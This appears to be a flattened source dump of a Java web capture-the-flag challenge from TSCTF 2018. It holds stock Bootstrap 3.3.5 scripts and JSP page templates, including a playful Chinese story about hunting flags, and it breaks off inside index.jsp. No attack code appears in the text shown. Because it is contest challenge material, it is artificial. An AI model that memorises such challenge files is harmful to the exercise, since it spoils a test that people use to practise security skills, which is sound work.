.appendTo(this.$body) this.$element.on('click.dismiss.bs.modal', $.proxy(function (e) { if (this.ignoreBackdropClick) { this.ignoreBackdropClick = false return } if (e.target !== e.currentTarget) return this.options.backdrop == 'static' ? this.$element[0].focus() : this.hide() }, this)) if (doAnimate) this.$backdrop[0].offsetWidth // force reflow this.$backdrop.addClass('in') if (!callback) return doAnimate ? this.$backdrop .one('bsTransitionEnd', callback) .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : callback() } else if (!this.isShown && this.$backdrop) { this.$backdrop.removeClass('in') var callbackRemove = function () { that.removeBackdrop() callback && callback() } $.support.transition && this.$element.hasClass('fade') ? this.$backdrop .one('bsTransitionEnd', callbackRemove) .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : callbackRemove() } else if (callback) { callback() } } // these following methods are used to handle overflowing modals Modal.prototype.handleUpdate = function () { this.adjustDialog() } Modal.prototype.adjustDialog = function () { var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight this.$element.css({ paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '', paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : '' }) } Modal.prototype.resetAdjustments = function () { this.$element.css({ paddingLeft: '', paddingRight: '' }) } Modal.prototype.checkScrollbar = function () { var fullWindowWidth = window.innerWidth if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8 var documentElementRect = document.documentElement.getBoundingClientRect() fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left) } this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth this.scrollbarWidth = this.measureScrollbar() } Modal.prototype.setScrollbar = function () { var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10) this.originalBodyPad = document.body.style.paddingRight || '' if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth) } Modal.prototype.resetScrollbar = function () { this.$body.css('padding-right', this.originalBodyPad) } Modal.prototype.measureScrollbar = function () { // thx walsh var scrollDiv = document.createElement('div') scrollDiv.className = 'modal-scrollbar-measure' this.$body.append(scrollDiv) var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth this.$body[0].removeChild(scrollDiv) return scrollbarWidth } // MODAL PLUGIN DEFINITION // ======================= function Plugin(option, _relatedTarget) { return this.each(function () { var $this = $(this) var data = $this.data('bs.modal') var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option) if (!data) $this.data('bs.modal', (data = new Modal(this, options))) if (typeof option == 'string') data[option](_relatedTarget) else if (options.show) data.show(_relatedTarget) }) } var old = $.fn.modal $.fn.modal = Plugin $.fn.modal.Constructor = Modal // MODAL NO CONFLICT // ================= $.fn.modal.noConflict = function () { $.fn.modal = old return this } // MODAL DATA-API // ============== $(document).on('click.bs.modal.data-api', '[data-toggle="modal"]', function (e) { var $this = $(this) var href = $this.attr('href') var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) // strip for ie7 var option = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data()) if ($this.is('a')) e.preventDefault() $target.one('show.bs.modal', function (showEvent) { if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown $target.one('hidden.bs.modal', function () { $this.is(':visible') && $this.trigger('focus') }) }) Plugin.call($target, option, this) }) }(jQuery); /* ======================================================================== * Bootstrap: tooltip.js v3.3.5 * http://getbootstrap.com/javascript/#tooltip * Inspired by the original jQuery.tipsy by Jason Frame * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // TOOLTIP PUBLIC CLASS DEFINITION // =============================== var Tooltip = function (element, options) { this.type = null this.options = null this.enabled = null this.timeout = null this.hoverState = null this.$element = null this.inState = null this.init('tooltip', element, options) } Tooltip.VERSION = '3.3.5' Tooltip.TRANSITION_DURATION = 150 Tooltip.DEFAULTS = { animation: true, placement: 'top', selector: false, template: '', trigger: 'hover focus', title: '', delay: 0, html: false, container: false, viewport: { selector: 'body', padding: 0 } } Tooltip.prototype.init = function (type, element, options) { this.enabled = true this.type = type this.$element = $(element) this.options = this.getOptions(options) this.$viewport = this.options.viewport && $($.isFunction(this.options.viewport) ? this.options.viewport.call(this, this.$element) : (this.options.viewport.selector || this.options.viewport)) this.inState = { click: false, hover: false, focus: false } if (this.$element[0] instanceof document.constructor && !this.options.selector) { throw new Error('`selector` option must be specified when initializing ' + this.type + ' on the window.document object!') } var triggers = this.options.trigger.split(' ') for (var i = triggers.length; i--;) { var trigger = triggers[i] if (trigger == 'click') { this.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this)) } else if (trigger != 'manual') { var eventIn = trigger == 'hover' ? 'mouseenter' : 'focusin' var eventOut = trigger == 'hover' ? 'mouseleave' : 'focusout' this.$element.on(eventIn + '.' + this.type, this.options.selector, $.proxy(this.enter, this)) this.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this)) } } this.options.selector ? (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) : this.fixTitle() } Tooltip.prototype.getDefaults = function () { return Tooltip.DEFAULTS } Tooltip.prototype.getOptions = function (options) { options = $.extend({}, this.getDefaults(), this.$element.data(), options) if (options.delay && typeof options.delay == 'number') { options.delay = { show: options.delay, hide: options.delay } } return options } Tooltip.prototype.getDelegateOptions = function () { var options = {} var defaults = this.getDefaults() this._options && $.each(this._options, function (key, value) { if (defaults[key] != value) options[key] = value }) return options } Tooltip.prototype.enter = function (obj) { var self = obj instanceof this.constructor ? obj : $(obj.currentTarget).data('bs.' + this.type) if (!self) { self = new this.constructor(obj.currentTarget, this.getDelegateOptions()) $(obj.currentTarget).data('bs.' + this.type, self) } if (obj instanceof $.Event) { self.inState[obj.type == 'focusin' ? 'focus' : 'hover'] = true } if (self.tip().hasClass('in') || self.hoverState == 'in') { self.hoverState = 'in' return } clearTimeout(self.timeout) self.hoverState = 'in' if (!self.options.delay || !self.options.delay.show) return self.show() self.timeout = setTimeout(function () { if (self.hoverState == 'in') self.show() }, self.options.delay.show) } Tooltip.prototype.isInStateTrue = function () { for (var key in this.inState) { if (this.inState[key]) return true } return false } Tooltip.prototype.leave = function (obj) { var self = obj instanceof this.constructor ? obj : $(obj.currentTarget).data('bs.' + this.type) if (!self) { self = new this.constructor(obj.currentTarget, this.getDelegateOptions()) $(obj.currentTarget).data('bs.' + this.type, self) } if (obj instanceof $.Event) { self.inState[obj.type == 'focusout' ? 'focus' : 'hover'] = false } if (self.isInStateTrue()) return clearTimeout(self.timeout) self.hoverState = 'out' if (!self.options.delay || !self.options.delay.hide) return self.hide() self.timeout = setTimeout(function () { if (self.hoverState == 'out') self.hide() }, self.options.delay.hide) } Tooltip.prototype.show = function () { var e = $.Event('show.bs.' + this.type) if (this.hasContent() && this.enabled) { this.$element.trigger(e) var inDom = $.contains(this.$element[0].ownerDocument.documentElement, this.$element[0]) if (e.isDefaultPrevented() || !inDom) return var that = this var $tip = this.tip() var tipId = this.getUID(this.type) this.setContent() $tip.attr('id', tipId) this.$element.attr('aria-describedby', tipId) if (this.options.animation) $tip.addClass('fade') var placement = typeof this.options.placement == 'function' ? this.options.placement.call(this, $tip[0], this.$element[0]) : this.options.placement var autoToken = /\s?auto?\s?/i var autoPlace = autoToken.test(placement) if (autoPlace) placement = placement.replace(autoToken, '') || 'top' $tip .detach() .css({ top: 0, left: 0, display: 'block' }) .addClass(placement) .data('bs.' + this.type, this) this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element) this.$element.trigger('inserted.bs.' + this.type) var pos = this.getPosition() var actualWidth = $tip[0].offsetWidth var actualHeight = $tip[0].offsetHeight if (autoPlace) { var orgPlacement = placement var viewportDim = this.getPosition(this.$viewport) placement = placement == 'bottom' && pos.bottom + actualHeight > viewportDim.bottom ? 'top' : placement == 'top' && pos.top - actualHeight < viewportDim.top ? 'bottom' : placement == 'right' && pos.right + actualWidth > viewportDim.width ? 'left' : placement == 'left' && pos.left - actualWidth < viewportDim.left ? 'right' : placement $tip .removeClass(orgPlacement) .addClass(placement) } var calculatedOffset = this.getCalculatedOffset(placement, pos, actualWidth, actualHeight) this.applyPlacement(calculatedOffset, placement) var complete = function () { var prevHoverState = that.hoverState that.$element.trigger('shown.bs.' + that.type) that.hoverState = null if (prevHoverState == 'out') that.leave(that) } $.support.transition && this.$tip.hasClass('fade') ? $tip .one('bsTransitionEnd', complete) .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) : complete() } } Tooltip.prototype.applyPlacement = function (offset, placement) { var $tip = this.tip() var width = $tip[0].offsetWidth var height = $tip[0].offsetHeight // manually read margins because getBoundingClientRect includes difference var marginTop = parseInt($tip.css('margin-top'), 10) var marginLeft = parseInt($tip.css('margin-left'), 10) // we must check for NaN for ie 8/9 if (isNaN(marginTop)) marginTop = 0 if (isNaN(marginLeft)) marginLeft = 0 offset.top += marginTop offset.left += marginLeft // $.fn.offset doesn't round pixel values // so we use setOffset directly with our own function B-0 $.offset.setOffset($tip[0], $.extend({ using: function (props) { $tip.css({ top: Math.round(props.top), left: Math.round(props.left) }) } }, offset), 0) $tip.addClass('in') // check to see if placing tip in new offset caused the tip to resize itself var actualWidth = $tip[0].offsetWidth var actualHeight = $tip[0].offsetHeight if (placement == 'top' && actualHeight != height) { offset.top = offset.top + height - actualHeight } var delta = this.getViewportAdjustedDelta(placement, offset, actualWidth, actualHeight) if (delta.left) offset.left += delta.left else offset.top += delta.top var isVertical = /top|bottom/.test(placement) var arrowDelta = isVertical ? delta.left * 2 - width + actualWidth : delta.top * 2 - height + actualHeight var arrowOffsetPosition = isVertical ? 'offsetWidth' : 'offsetHeight' $tip.offset(offset) this.replaceArrow(arrowDelta, $tip[0][arrowOffsetPosition], isVertical) } Tooltip.prototype.replaceArrow = function (delta, dimension, isVertical) { this.arrow() .css(isVertical ? 'left' : 'top', 50 * (1 - delta / dimension) + '%') .css(isVertical ? 'top' : 'left', '') } Tooltip.prototype.setContent = function () { var $tip = this.tip() var title = this.getTitle() $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title) $tip.removeClass('fade in top bottom left right') } Tooltip.prototype.hide = function (callback) { var that = this var $tip = $(this.$tip) var e = $.Event('hide.bs.' + this.type) function complete() { if (that.hoverState != 'in') $tip.detach() that.$element .removeAttr('aria-describedby') .trigger('hidden.bs.' + that.type) callback && callback() } this.$element.trigger(e) if (e.isDefaultPrevented()) return $tip.removeClass('in') $.support.transition && $tip.hasClass('fade') ? $tip .one('bsTransitionEnd', complete) .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) : complete() this.hoverState = null return this } Tooltip.prototype.fixTitle = function () { var $e = this.$element if ($e.attr('title') || typeof $e.attr('data-original-title') != 'string') { $e.attr('data-original-title', $e.attr('title') || '').attr('title', '') } } Tooltip.prototype.hasContent = function () { return this.getTitle() } Tooltip.prototype.getPosition = function ($element) { $element = $element || this.$element var el = $element[0] var isBody = el.tagName == 'BODY' var elRect = el.getBoundingClientRect() if (elRect.width == null) { // width and height are missing in IE8, so compute them manually; see https://github.com/twbs/bootstrap/issues/14093 elRect = $.extend({}, elRect, { width: elRect.right - elRect.left, height: elRect.bottom - elRect.top }) } var elOffset = isBody ? { top: 0, left: 0 } : $element.offset() var scroll = { scroll: isBody ? document.documentElement.scrollTop || document.body.scrollTop : $element.scrollTop() } var outerDims = isBody ? { width: $(window).width(), height: $(window).height() } : null return $.extend({}, elRect, scroll, outerDims, elOffset) } Tooltip.prototype.getCalculatedOffset = function (placement, pos, actualWidth, actualHeight) { return placement == 'bottom' ? { top: pos.top + pos.height, left: pos.left + pos.width / 2 - actualWidth / 2 } : placement == 'top' ? { top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2 } : placement == 'left' ? { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth } : /* placement == 'right' */ { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width } } Tooltip.prototype.getViewportAdjustedDelta = function (placement, pos, actualWidth, actualHeight) { var delta = { top: 0, left: 0 } if (!this.$viewport) return delta var viewportPadding = this.options.viewport && this.options.viewport.padding || 0 var viewportDimensions = this.getPosition(this.$viewport) if (/right|left/.test(placement)) { var topEdgeOffset = pos.top - viewportPadding - viewportDimensions.scroll var bottomEdgeOffset = pos.top + viewportPadding - viewportDimensions.scroll + actualHeight if (topEdgeOffset < viewportDimensions.top) { // top overflow delta.top = viewportDimensions.top - topEdgeOffset } else if (bottomEdgeOffset > viewportDimensions.top + viewportDimensions.height) { // bottom overflow delta.top = viewportDimensions.top + viewportDimensions.height - bottomEdgeOffset } } else { var leftEdgeOffset = pos.left - viewportPadding var rightEdgeOffset = pos.left + viewportPadding + actualWidth if (leftEdgeOffset < viewportDimensions.left) { // left overflow delta.left = viewportDimensions.left - leftEdgeOffset } else if (rightEdgeOffset > viewportDimensions.right) { // right overflow delta.left = viewportDimensions.left + viewportDimensions.width - rightEdgeOffset } } return delta } Tooltip.prototype.getTitle = function () { var title var $e = this.$element var o = this.options title = $e.attr('data-original-title') || (typeof o.title == 'function' ? o.title.call($e[0]) : o.title) return title } Tooltip.prototype.getUID = function (prefix) { do prefix += ~~(Math.random() * 1000000) while (document.getElementById(prefix)) return prefix } Tooltip.prototype.tip = function () { if (!this.$tip) { this.$tip = $(this.options.template) if (this.$tip.length != 1) { throw new Error(this.type + ' `template` option must consist of exactly 1 top-level element!') } } return this.$tip } Tooltip.prototype.arrow = function () { return (this.$arrow = this.$arrow || this.tip().find('.tooltip-arrow')) } Tooltip.prototype.enable = function () { this.enabled = true } Tooltip.prototype.disable = function () { this.enabled = false } Tooltip.prototype.toggleEnabled = function () { this.enabled = !this.enabled } Tooltip.prototype.toggle = function (e) { var self = this if (e) { self = $(e.currentTarget).data('bs.' + this.type) if (!self) { self = new this.constructor(e.currentTarget, this.getDelegateOptions()) $(e.currentTarget).data('bs.' + this.type, self) } } if (e) { self.inState.click = !self.inState.click if (self.isInStateTrue()) self.enter(self) else self.leave(self) } else { self.tip().hasClass('in') ? self.leave(self) : self.enter(self) } } Tooltip.prototype.destroy = function () { var that = this clearTimeout(this.timeout) this.hide(function () { that.$element.off('.' + that.type).removeData('bs.' + that.type) if (that.$tip) { that.$tip.detach() } that.$tip = null that.$arrow = null that.$viewport = null }) } // TOOLTIP PLUGIN DEFINITION // ========================= function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.tooltip') var options = typeof option == 'object' && option if (!data && /destroy|hide/.test(option)) return if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.tooltip $.fn.tooltip = Plugin $.fn.tooltip.Constructor = Tooltip // TOOLTIP NO CONFLICT // =================== $.fn.tooltip.noConflict = function () { $.fn.tooltip = old return this } }(jQuery); /* ======================================================================== * Bootstrap: popover.js v3.3.5 * http://getbootstrap.com/javascript/#popovers * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // POPOVER PUBLIC CLASS DEFINITION // =============================== var Popover = function (element, options) { this.init('popover', element, options) } if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js') Popover.VERSION = '3.3.5' Popover.DEFAULTS = $.extend({}, $.fn.tooltip.Constructor.DEFAULTS, { placement: 'right', trigger: 'click', content: '', template: '' }) // NOTE: POPOVER EXTENDS tooltip.js // ================================ Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype) Popover.prototype.constructor = Popover Popover.prototype.getDefaults = function () { return Popover.DEFAULTS } Popover.prototype.setContent = function () { var $tip = this.tip() var title = this.getTitle() var content = this.getContent() $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title) $tip.find('.popover-content').children().detach().end()[ // we use append for html objects to maintain js events this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text' ](content) $tip.removeClass('fade top bottom left right in') // IE8 doesn't accept hiding via the `:empty` pseudo selector, we have to do // this manually by checking the contents. if (!$tip.find('.popover-title').html()) $tip.find('.popover-title').hide() } Popover.prototype.hasContent = function () { return this.getTitle() || this.getContent() } Popover.prototype.getContent = function () { var $e = this.$element var o = this.options return $e.attr('data-content') || (typeof o.content == 'function' ? o.content.call($e[0]) : o.content) } Popover.prototype.arrow = function () { return (this.$arrow = this.$arrow || this.tip().find('.arrow')) } // POPOVER PLUGIN DEFINITION // ========================= function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.popover') var options = typeof option == 'object' && option if (!data && /destroy|hide/.test(option)) return if (!data) $this.data('bs.popover', (data = new Popover(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.popover $.fn.popover = Plugin $.fn.popover.Constructor = Popover // POPOVER NO CONFLICT // =================== $.fn.popover.noConflict = function () { $.fn.popover = old return this } }(jQuery); /* ======================================================================== * Bootstrap: scrollspy.js v3.3.5 * http://getbootstrap.com/javascript/#scrollspy * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // SCROLLSPY CLASS DEFINITION // ========================== function ScrollSpy(element, options) { this.$body = $(document.body) this.$scrollElement = $(element).is(document.body) ? $(window) : $(element) this.options = $.extend({}, ScrollSpy.DEFAULTS, options) this.selector = (this.options.target || '') + ' .nav li > a' this.offsets = [] this.targets = [] this.activeTarget = null this.scrollHeight = 0 this.$scrollElement.on('scroll.bs.scrollspy', $.proxy(this.process, this)) this.refresh() this.process() } ScrollSpy.VERSION = '3.3.5' ScrollSpy.DEFAULTS = { offset: 10 } ScrollSpy.prototype.getScrollHeight = function () { return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight) } ScrollSpy.prototype.refresh = function () { var that = this var offsetMethod = 'offset' var offsetBase = 0 this.offsets = [] this.targets = [] this.scrollHeight = this.getScrollHeight() if (!$.isWindow(this.$scrollElement[0])) { offsetMethod = 'position' offsetBase = this.$scrollElement.scrollTop() } this.$body .find(this.selector) .map(function () { var $el = $(this) var href = $el.data('target') || $el.attr('href') var $href = /^#./.test(href) && $(href) return ($href && $href.length && $href.is(':visible') && [[$href[offsetMethod]().top + offsetBase, href]]) || null }) .sort(function (a, b) { return a[0] - b[0] }) .each(function () { that.offsets.push(this[0]) that.targets.push(this[1]) }) } ScrollSpy.prototype.process = function () { var scrollTop = this.$scrollElement.scrollTop() + this.options.offset var scrollHeight = this.getScrollHeight() var maxScroll = this.options.offset + scrollHeight - this.$scrollElement.height() var offsets = this.offsets var targets = this.targets var activeTarget = this.activeTarget var i if (this.scrollHeight != scrollHeight) { this.refresh() } if (scrollTop >= maxScroll) { return activeTarget != (i = targets[targets.length - 1]) && this.activate(i) } if (activeTarget && scrollTop < offsets[0]) { this.activeTarget = null return this.clear() } for (i = offsets.length; i--;) { activeTarget != targets[i] && scrollTop >= offsets[i] && (offsets[i + 1] === undefined || scrollTop < offsets[i + 1]) && this.activate(targets[i]) } } ScrollSpy.prototype.activate = function (target) { this.activeTarget = target this.clear() var selector = this.selector + '[data-target="' + target + '"],' + this.selector + '[href="' + target + '"]' var active = $(selector) .parents('li') .addClass('active') if (active.parent('.dropdown-menu').length) { active = active .closest('li.dropdown') .addClass('active') } active.trigger('activate.bs.scrollspy') } ScrollSpy.prototype.clear = function () { $(this.selector) .parentsUntil(this.options.target, '.active') .removeClass('active') } // SCROLLSPY PLUGIN DEFINITION // =========================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.scrollspy') var options = typeof option == 'object' && option if (!data) $this.data('bs.scrollspy', (data = new ScrollSpy(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.scrollspy $.fn.scrollspy = Plugin $.fn.scrollspy.Constructor = ScrollSpy // SCROLLSPY NO CONFLICT // ===================== $.fn.scrollspy.noConflict = function () { $.fn.scrollspy = old return this } // SCROLLSPY DATA-API // ================== $(window).on('load.bs.scrollspy.data-api', function () { $('[data-spy="scroll"]').each(function () { var $spy = $(this) Plugin.call($spy, $spy.data()) }) }) }(jQuery); /* ======================================================================== * Bootstrap: tab.js v3.3.5 * http://getbootstrap.com/javascript/#tabs * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // TAB CLASS DEFINITION // ==================== var Tab = function (element) { // jscs:disable requireDollarBeforejQueryAssignment this.element = $(element) // jscs:enable requireDollarBeforejQueryAssignment } Tab.VERSION = '3.3.5' Tab.TRANSITION_DURATION = 150 Tab.prototype.show = function () { var $this = this.element var $ul = $this.closest('ul:not(.dropdown-menu)') var selector = $this.data('target') if (!selector) { selector = $this.attr('href') selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 } if ($this.parent('li').hasClass('active')) return var $previous = $ul.find('.active:last a') var hideEvent = $.Event('hide.bs.tab', { relatedTarget: $this[0] }) var showEvent = $.Event('show.bs.tab', { relatedTarget: $previous[0] }) $previous.trigger(hideEvent) $this.trigger(showEvent) if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) return var $target = $(selector) this.activate($this.closest('li'), $ul) this.activate($target, $target.parent(), function () { $previous.trigger({ type: 'hidden.bs.tab', relatedTarget: $this[0] }) $this.trigger({ type: 'shown.bs.tab', relatedTarget: $previous[0] }) }) } Tab.prototype.activate = function (element, container, callback) { var $active = container.find('> .active') var transition = callback && $.support.transition && ($active.length && $active.hasClass('fade') || !!container.find('> .fade').length) function next() { $active .removeClass('active') .find('> .dropdown-menu > .active') .removeClass('active') .end() .find('[data-toggle="tab"]') .attr('aria-expanded', false) element .addClass('active') .find('[data-toggle="tab"]') .attr('aria-expanded', true) if (transition) { element[0].offsetWidth // reflow for transition element.addClass('in') } else { element.removeClass('fade') } if (element.parent('.dropdown-menu').length) { element .closest('li.dropdown') .addClass('active') .end() .find('[data-toggle="tab"]') .attr('aria-expanded', true) } callback && callback() } $active.length && transition ? $active .one('bsTransitionEnd', next) .emulateTransitionEnd(Tab.TRANSITION_DURATION) : next() $active.removeClass('in') } // TAB PLUGIN DEFINITION // ===================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.tab') if (!data) $this.data('bs.tab', (data = new Tab(this))) if (typeof option == 'string') data[option]() }) } var old = $.fn.tab $.fn.tab = Plugin $.fn.tab.Constructor = Tab // TAB NO CONFLICT // =============== $.fn.tab.noConflict = function () { $.fn.tab = old return this } // TAB DATA-API // ============ var clickHandler = function (e) { e.preventDefault() Plugin.call($(this), 'show') } $(document) .on('click.bs.tab.data-api', '[data-toggle="tab"]', clickHandler) .on('click.bs.tab.data-api', '[data-toggle="pill"]', clickHandler) }(jQuery); /* ======================================================================== * Bootstrap: affix.js v3.3.5 * http://getbootstrap.com/javascript/#affix * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // AFFIX CLASS DEFINITION // ====================== var Affix = function (element, options) { this.options = $.extend({}, Affix.DEFAULTS, options) this.$target = $(this.options.target) .on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this)) .on('click.bs.affix.data-api', $.proxy(this.checkPositionWithEventLoop, this)) this.$element = $(element) this.affixed = null this.unpin = null this.pinnedOffset = null this.checkPosition() } Affix.VERSION = '3.3.5' Affix.RESET = 'affix affix-top affix-bottom' Affix.DEFAULTS = { offset: 0, target: window } Affix.prototype.getState = function (scrollHeight, height, offsetTop, offsetBottom) { var scrollTop = this.$target.scrollTop() var position = this.$element.offset() var targetHeight = this.$target.height() if (offsetTop != null && this.affixed == 'top') return scrollTop < offsetTop ? 'top' : false if (this.affixed == 'bottom') { if (offsetTop != null) return (scrollTop + this.unpin <= position.top) ? false : 'bottom' return (scrollTop + targetHeight <= scrollHeight - offsetBottom) ? false : 'bottom' } var initializing = this.affixed == null var colliderTop = initializing ? scrollTop : position.top var colliderHeight = initializing ? targetHeight : height if (offsetTop != null && scrollTop <= offsetTop) return 'top' if (offsetBottom != null && (colliderTop + colliderHeight >= scrollHeight - offsetBottom)) return 'bottom' return false } Affix.prototype.getPinnedOffset = function () { if (this.pinnedOffset) return this.pinnedOffset this.$element.removeClass(Affix.RESET).addClass('affix') var scrollTop = this.$target.scrollTop() var position = this.$element.offset() return (this.pinnedOffset = position.top - scrollTop) } Affix.prototype.checkPositionWithEventLoop = function () { setTimeout($.proxy(this.checkPosition, this), 1) } Affix.prototype.checkPosition = function () { if (!this.$element.is(':visible')) return var height = this.$element.height() var offset = this.options.offset var offsetTop = offset.top var offsetBottom = offset.bottom var scrollHeight = Math.max($(document).height(), $(document.body).height()) if (typeof offset != 'object') offsetBottom = offsetTop = offset if (typeof offsetTop == 'function') offsetTop = offset.top(this.$element) if (typeof offsetBottom == 'function') offsetBottom = offset.bottom(this.$element) var affix = this.getState(scrollHeight, height, offsetTop, offsetBottom) if (this.affixed != affix) { if (this.unpin != null) this.$element.css('top', '') var affixType = 'affix' + (affix ? '-' + affix : '') var e = $.Event(affixType + '.bs.affix') this.$element.trigger(e) if (e.isDefaultPrevented()) return this.affixed = affix this.unpin = affix == 'bottom' ? this.getPinnedOffset() : null this.$element .removeClass(Affix.RESET) .addClass(affixType) .trigger(affixType.replace('affix', 'affixed') + '.bs.affix') } if (affix == 'bottom') { this.$element.offset({ top: scrollHeight - height - offsetBottom }) } } // AFFIX PLUGIN DEFINITION // ======================= function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.affix') var options = typeof option == 'object' && option if (!data) $this.data('bs.affix', (data = new Affix(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.affix $.fn.affix = Plugin $.fn.affix.Constructor = Affix // AFFIX NO CONFLICT // ================= $.fn.affix.noConflict = function () { $.fn.affix = old return this } // AFFIX DATA-API // ============== $(window).on('load', function () { $('[data-spy="affix"]').each(function () { var $spy = $(this) var data = $spy.data() data.offset = data.offset || {} if (data.offsetBottom != null) data.offset.bottom = data.offsetBottom if (data.offsetTop != null) data.offset.top = data.offsetTop Plugin.call($spy, data) }) }) }(jQuery); ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/bootstrap3.3.5/js/npm.js ================================================ // This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment. require('../../js/transition.js') require('../../js/alert.js') require('../../js/button.js') require('../../js/carousel.js') require('../../js/collapse.js') require('../../js/dropdown.js') require('../../js/modal.js') require('../../js/tooltip.js') require('../../js/popover.js') require('../../js/scrollspy.js') require('../../js/tab.js') require('../../js/affix.js') ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/classes/spring-context.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/common/closed.jsp ================================================ <%@ page import="com.bupt.utils.SystemDateTimeChecker" %><%-- Created by IntelliJ IDEA. User: wust_ Date: 2018/3/22 Time: 1:09 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %>

      等待系统开放.......

      系统开放时间段:<%=SystemDateTimeChecker.from%> ~ <%=SystemDateTimeChecker.to%>

      当前时间:

      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/common/competitionInfo.jsp ================================================ <%@ page contentType="text/html;charset=UTF-8" language="java" %>

      恋爱的季节  

              

              经过漫长的冬季,一种叫做单身狗的生物揉揉惺忪的双眼,望着窗外春暖花开的景色,心中对于爱情的渴望如同一粒石子落入湖面后激起的涟漪,一圈一圈的荡漾开去......

              "亲爱的爱上你,从那天起,甜蜜的很轻易"单身狗哼着杰伦老师的《告白气球》,踏上了CTF的征程,此刻它的眼神坚定,无形的力量驱使着它一直向前,因为下一站是幸福~

              当单身狗走进web世界,便可以进化为一只web狗。据说每一只web狗都有一只专属天使,专属天使择良木而栖,择Flag而食,为了喂饱它的天使,web狗不得不开始疯狂的寻找Flag,故事由此开始!

      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/common/footer.jsp ================================================ <%-- Created by IntelliJ IDEA. User: wust_ Date: 2018/3/22 Time: 1:09 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %>

      版权所有 © TSCTF 2018

      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/common/head.jsp ================================================ <%-- Created by IntelliJ IDEA. User: wust_ Date: 2018/3/21 Time: 10:49 To change this template use File | Settings | File Templates. --%> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/common/infoTab.jsp ================================================ <%@ page contentType="text/html;charset=UTF-8" language="java" %> ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/common/navigator.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%-- Created by IntelliJ IDEA. User: wust_ Date: 2018/3/21 Time: 10:49 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/index.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page 